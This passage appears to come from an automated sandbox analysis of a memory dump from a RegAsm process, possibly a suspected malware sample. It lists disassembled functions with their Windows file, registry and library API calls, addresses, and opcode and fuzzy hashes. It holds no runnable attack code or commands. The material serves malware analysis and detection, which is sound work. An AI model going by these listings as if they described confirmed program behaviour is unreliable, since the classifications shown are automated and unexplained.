                      • GetFileSize.KERNEL32(00000000,00000000,00000143,00000000,00000000,00000000,?,00409690,00000000,00408801,?,?,00000143,?,?,00000143), ref: 00409552
                      • CloseHandle.KERNEL32(00000000), ref: 0040957A
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$??2@CloseCreateHandleReadSize
                      • String ID:
                      • API String ID: 1023896661-0
                      • Opcode ID: 517a28336922631f1c28e20ccf3750fd377d8614a795a490cf559f5829b7d7c1
                      • Instruction ID: f35f9952f6e959c636c436af82c7d55a8b84e599ec35ab47be9645748316c481
                      • Opcode Fuzzy Hash: 517a28336922631f1c28e20ccf3750fd377d8614a795a490cf559f5829b7d7c1
                      • Instruction Fuzzy Hash: 0D11D671A00608BFCB129F2ACC8585F7BA5EF94350B14843FF415AB392DB75DE40CA58
                      Function 0040CC26 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                        • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB63
                        • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB88
                      • CloseHandle.KERNEL32(?), ref: 0040CC98
                        • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT ref: 0040B052
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$ByteCharMultiWide$??2@??3@CloseCreateHandleReadSize
                      • String ID:
                      • API String ID: 2445788494-0
                      • Opcode ID: 5551154f09d9ac0fe1cac7a20b9391cb02a4855cbb9d966ae120c46d578013b8
                      • Instruction ID: dc8783d9a6c7baf78a377756874cfbd60b78407a6d3acdf6d1052ad5173bbb79
                      • Opcode Fuzzy Hash: 5551154f09d9ac0fe1cac7a20b9391cb02a4855cbb9d966ae120c46d578013b8
                      • Instruction Fuzzy Hash: 91118275804208AFDB10AF6ADC45C8A7F75FF01364711C27AF525A72A1D6349A18CBA5
                      Function 0041BC3B Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcmpmemset
                      • String ID:
                      • API String ID: 1065087418-0
                      • Opcode ID: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                      • Instruction ID: cf105cae5e27f97c9cd1c3f46a8d5e16e2707a712041142e317bfb3d1f631299
                      • Opcode Fuzzy Hash: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                      • Instruction Fuzzy Hash: 2A615B71A01349EBDB14EFA495815EEB7B4EB04308F1440AFE609D3241E738AED4DB99
                      Function 004104FB Relevance: 2.6, APIs: 2, Instructions: 140COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT ref: 0040ECF9
                        • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT ref: 0040EDC0
                      • GetStdHandle.KERNEL32(000000F5), ref: 00410530
                      • CloseHandle.KERNEL32(?), ref: 00410654
                        • Part of subcall function 004096DC: CreateFileW.KERNEL32(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                        • Part of subcall function 0040973C: GetLastError.KERNEL32 ref: 00409750
                        • Part of subcall function 0040973C: _snwprintf.MSVCRT ref: 0040977D
                        • Part of subcall function 0040973C: MessageBoxW.USER32(?,?,Error,00000030), ref: 00409796
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Handle$??2@??3@CloseCreateErrorFileLastMessage_snwprintf
                      • String ID:
                      • API String ID: 1381354015-0
                      • Opcode ID: 8fbfc2f348dbe95ddd4b5a009659ef379d3a5d6a1ec684b3882d32b59d0f1ff8
                      • Instruction ID: c777e68e994987bb064ab7fb99de871126f79ef1b866bcb434911d427814d160
                      • Opcode Fuzzy Hash: 8fbfc2f348dbe95ddd4b5a009659ef379d3a5d6a1ec684b3882d32b59d0f1ff8
                      • Instruction Fuzzy Hash: BE417231A00204EFCB25AF65C885A9E77B6EF84711F20446FF446A7291C7B99EC0DE59
                      Function 004136C0 Relevance: 1.7, APIs: 1, Instructions: 163COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 47b7cceb40ac73e48e091e39f89a81a5349c65788578bfc7b3808e4b699817ff
                      • Instruction ID: 68238382b965d6cf35967491492c160b6f6d54887ef21f0023ff885919cfaa00
                      • Opcode Fuzzy Hash: 47b7cceb40ac73e48e091e39f89a81a5349c65788578bfc7b3808e4b699817ff
                      • Instruction Fuzzy Hash: 695126B5A00209AFCB14DFD4C884CEFBBB9FF88705B14C559F512AB254E735AA46CB60
                      Function 00403988 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00403A16: memset.MSVCRT ref: 00403A55
                        • Part of subcall function 0040A02C: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                        • Part of subcall function 0040A02C: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                        • Part of subcall function 0040A02C: CloseHandle.KERNEL32(00000000), ref: 0040A061
                      • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 004039D4
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$Time$CloseCompareCreateHandlememset
                      • String ID:
                      • API String ID: 2154303073-0
                      • Opcode ID: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                      • Instruction ID: d476be81a684c5cf971044fbd14bb177a9e73989d843208b34704cc982626f94
                      • Opcode Fuzzy Hash: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                      • Instruction Fuzzy Hash: 11111CB6D00218ABCB11EFA5D9415DEBBB9EF44315F20407BE841F7281DA389F45CB95
                      Function 004062A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                      • SetFilePointerEx.KERNEL32(0040627C,?,?,00000000,00000000), ref: 004062C2
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$PointerRead
                      • String ID:
                      • API String ID: 3154509469-0
                      • Opcode ID: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                      • Instruction ID: d794e9b43e5f56b2d2e2073d65b81241c22a9a75ad02cc9b2284f18e77a2fe0f
                      • Opcode Fuzzy Hash: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                      • Instruction Fuzzy Hash: 45E01276100100FFE6619B05DC06F57FBB9FBD4710F14883DB59596174C6326851CB25
                      Function 00414561 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                      • GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 00414588
                        • Part of subcall function 004143F1: memset.MSVCRT ref: 00414410
                        • Part of subcall function 004143F1: _itow.MSVCRT ref: 00414427
                        • Part of subcall function 004143F1: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00414436
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PrivateProfile$StringWrite_itowmemset
                      • String ID:
                      • API String ID: 4232544981-0
                      • Opcode ID: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                      • Instruction ID: 104e910b762de94586eb11e4c264cf061db1895f8dce3fe8c281d71359574313
                      • Opcode Fuzzy Hash: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                      • Instruction Fuzzy Hash: 8EE09232000209ABDF125F91EC01AA93B66FF54315F548469F95C05520D33295B0AB59
                      Function 00444A54 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                      Download Yara Rule
                      APIs
                      • FreeLibrary.KERNEL32(?,?,004452FB,?,?,?,0040333C,?), ref: 00444A65
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeLibrary
                      • String ID:
                      • API String ID: 3664257935-0
                      • Opcode ID: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                      • Instruction ID: 9043d1e372537a54137ae43dcd20834ee918eeaa55a47e8e1dedab4d47514996
                      • Opcode Fuzzy Hash: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                      • Instruction Fuzzy Hash: E2E0F6B5900B018FD3708F1BE944406FBF8BFE56113108A1FD4AAC2A24D7B4A1898F54
                      Function 00413F27 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                      Download Yara Rule
                      APIs
                      • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,00413E1F,00000104,00413E1F,00000000,?), ref: 00413F46
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileModuleName
                      • String ID:
                      • API String ID: 514040917-0
                      • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                      • Instruction ID: eb737a8a997ed41d0f7a348c178ce8d4b8225706e43eb580f21eee6dbde26bc7
                      • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                      • Instruction Fuzzy Hash: 6FD02231B083007BEA20EE70CC00FCBA2F47F40F12F008C5AB191D2080C374C9495305
                      Function 0040A2EF Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                      Download Yara Rule
                      APIs
                      • ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileRead
                      • String ID:
                      • API String ID: 2738559852-0
                      • Opcode ID: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                      • Instruction ID: df780c2d30ec27a436fe2e8938b9b3026ee6fdf868a35847a3a0dbf755fefbc9
                      • Opcode Fuzzy Hash: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                      • Instruction Fuzzy Hash: 6DD0C97505020DFBDF01CF81DC06FDD7B7DFB05359F108054BA0095060C7759A15AB55
                      Function 0040A30E Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                      Download Yara Rule
                      APIs
                      • WriteFile.KERNEL32(?,00000009,?,00000000,00000000), ref: 0040A325
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileWrite
                      • String ID:
                      • API String ID: 3934441357-0
                      • Opcode ID: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                      • Instruction ID: 3280266517864b8de079c100525e5277478ec149926fcdeece843fe2c70d8c86
                      • Opcode Fuzzy Hash: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                      • Instruction Fuzzy Hash: CFD0C93501020DFBDF01CF81DC06FDD7BBDFB04359F108054BA1095060D7B59A20AB94
                      Function 00413D29 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                      Download Yara Rule
                      APIs
                      • FreeLibrary.KERNEL32(00000000,004457F2,00000000,000001F7,00000000), ref: 00413D30
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeLibrary
                      • String ID:
                      • API String ID: 3664257935-0
                      • Opcode ID: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                      • Instruction ID: 8f6381f957debc367d4a0444659be52de1bfd3a154b3998764173f6a98a011bd
                      • Opcode Fuzzy Hash: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                      • Instruction Fuzzy Hash: 1DD0C9765002229BDB10AF26EC057857378FF00712B110425E810B7594D778BEE68ADC
                      Function 0040B633 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 6cac8f1a699deb91221d7a6f108e22352180a1071cf07404188a59dfc78ebdbf
                      • Instruction ID: 84c58710a9e867f17c2d1ed9f7495b278bdfae561cd9e9721482330d0bfefd66
                      • Opcode Fuzzy Hash: 6cac8f1a699deb91221d7a6f108e22352180a1071cf07404188a59dfc78ebdbf
                      • Instruction Fuzzy Hash: 48C00272510B018FEB209E16C405762B3E4AF5173BF928C1D949591481D77CE4448A1D
                      Function 004096C3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CreateFile
                      • String ID:
                      • API String ID: 823142352-0
                      • Opcode ID: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                      • Instruction ID: 15e4bfb1af8ab284213ec8af4af1ca3ed9a3c322684c6da9746693c795416a08
                      • Opcode Fuzzy Hash: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                      • Instruction Fuzzy Hash: A8C092B0280200BEFE224B10EC15F36755CE744700F2008247E40F40E0C1605E108524
                      Function 004096DC Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CreateFile
                      • String ID:
                      • API String ID: 823142352-0
                      • Opcode ID: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                      • Instruction ID: 13aef0f41518da9c32968a96bed17b980f0e8f352a8d1793a660c4ee04e7d177
                      • Opcode Fuzzy Hash: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                      • Instruction Fuzzy Hash: B8C012F02903007EFF204B10AC0AF37755DF784700F2048207E40F40E1C2B15C008524
                      Function 0040AA04 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 9f3c014d0cf6ef3ef7071a5cb6dd1d5584685ccd4eb021183226fc9c7d12a071
                      • Instruction ID: 146ea39d6618054f0b1de7ea1636ea0e57db3b52e0d7afa8327ef8e2ad9437d0
                      • Opcode Fuzzy Hash: 9f3c014d0cf6ef3ef7071a5cb6dd1d5584685ccd4eb021183226fc9c7d12a071
                      • Instruction Fuzzy Hash: 18C012B29107018BFB308E15C409322B2E4AF0072BFA18C0D9090910C2C77CD080CA18
                      Function 0040B04B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                      • Instruction ID: 6ff791ec813821c2e9e24527ebed0d702daabad41f6d5d50af9b89e3d4ad0470
                      • Opcode Fuzzy Hash: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                      • Instruction Fuzzy Hash: ADC09BB15117014BE7305F15D40471373D49F11727F318C1DA5D1914C2D77CD4408518
                      Function 004135E0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                      Download Yara Rule
                      APIs
                      • FreeLibrary.KERNEL32(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeLibrary
                      • String ID:
                      • API String ID: 3664257935-0
                      • Opcode ID: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                      • Instruction ID: 97b2006ec1e2dd28fddd19cbcf35086f2a6b1d7d6d8af37d8808782836c913ed
                      • Opcode Fuzzy Hash: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                      • Instruction Fuzzy Hash: C1C04C355107129BE7318F22C849793B3E8BB00767F40C818A56A85454D7BCE594CE28
                      Function 0041493C Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                      Download Yara Rule
                      APIs
                      • EnumResourceNamesW.KERNEL32(?,?,Function_000148B6,00000000), ref: 0041494B
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: EnumNamesResource
                      • String ID:
                      • API String ID: 3334572018-0
                      • Opcode ID: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                      • Instruction ID: 4cd0fc1a45efe5f4a77ff86a676eea9814a6d41529a344ef69fdb726e0e13cac
                      • Opcode Fuzzy Hash: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                      • Instruction Fuzzy Hash: 5CC09B355943819FD711DF108C05F1A76D5BF95705F104C397151940A0C7614014A60A
                      Function 0044DEA5 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeLibrary
                      • String ID:
                      • API String ID: 3664257935-0
                      • Opcode ID: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                      • Instruction ID: c12df66a07a312a107e4de7a98dbd39cb061029a89fa16cd2619b088cce9516a
                      • Opcode Fuzzy Hash: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                      • Instruction Fuzzy Hash: 95C04C35D10311ABFB31AB11ED4975232A5BB00717F52006494128D065D7B8E454CB2D
                      Function 0040AEBE Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                      Download Yara Rule
                      APIs
                      • FindClose.KERNEL32(?,0040AE21,?,00000000,00445EF5,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AEC8
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CloseFind
                      • String ID:
                      • API String ID: 1863332320-0
                      • Opcode ID: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                      • Instruction ID: 0a5868f0c47a417661f40efe111cada53839b745ef6d73ffe26d621af3302058
                      • Opcode Fuzzy Hash: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                      • Instruction Fuzzy Hash: 06C092341506058BD62C5F38DC9A42A77A0BF4A3303B40F6CA0F3D24F0E73888538A04
                      Function 00414592 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExW.KERNEL32(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Open
                      • String ID:
                      • API String ID: 71445658-0
                      • Opcode ID: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                      • Instruction ID: 4e31294bd56c0fd8f54a78566f459ab053e1b17b284f5820c9a90ca28514d216
                      • Opcode Fuzzy Hash: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                      • Instruction Fuzzy Hash: C4C09B35544311BFDE114F40FD09F09BB61BB84B05F004414B254640B182714414EB17
                      Function 00409B98 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                      Download Yara Rule
                      APIs
                      • GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: AttributesFile
                      • String ID:
                      • API String ID: 3188754299-0
                      • Opcode ID: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                      • Instruction ID: 3e515636d229e53f9e638efbf3d1d2cf0185fd636b5c9b7db17c068ea44c501e
                      • Opcode Fuzzy Hash: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                      • Instruction Fuzzy Hash: B9B012792104005BCB0807349C4904D35507F456317200B3CF033C00F0D730CC61BA00
                      Function 0041BE52 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                      • Instruction ID: 186a7b248be49691fb09735f75239c469d17650efe27a5986e87276cb9a2b443
                      • Opcode Fuzzy Hash: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                      • Instruction Fuzzy Hash: E8318B31901616EFDF24AF25D8417DA73A0FF04314F10416BF91497251DB38ADE18BDA
                      Function 004095D9 Relevance: 1.3, APIs: 1, Instructions: 66COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004095FC
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                        • Part of subcall function 004091B8: memset.MSVCRT ref: 004091E2
                        • Part of subcall function 004091B8: memcpy.MSVCRT ref: 004092C9
                        • Part of subcall function 004091B8: memcmp.MSVCRT ref: 004092D9
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memsetwcslen$AttributesFilememcmpmemcpywcscatwcscpy
                      • String ID:
                      • API String ID: 3655998216-0
                      • Opcode ID: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                      • Instruction ID: 072a19641c33d96fdc78833b4ff670bebeeceb9371718ab52934a970b5968781
                      • Opcode Fuzzy Hash: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                      • Instruction Fuzzy Hash: F311607290021D6AEF20A662DC4AE9B376CEF41318F10047BB908E51D2EA79DE548659
                      Function 00445403 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00445426
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
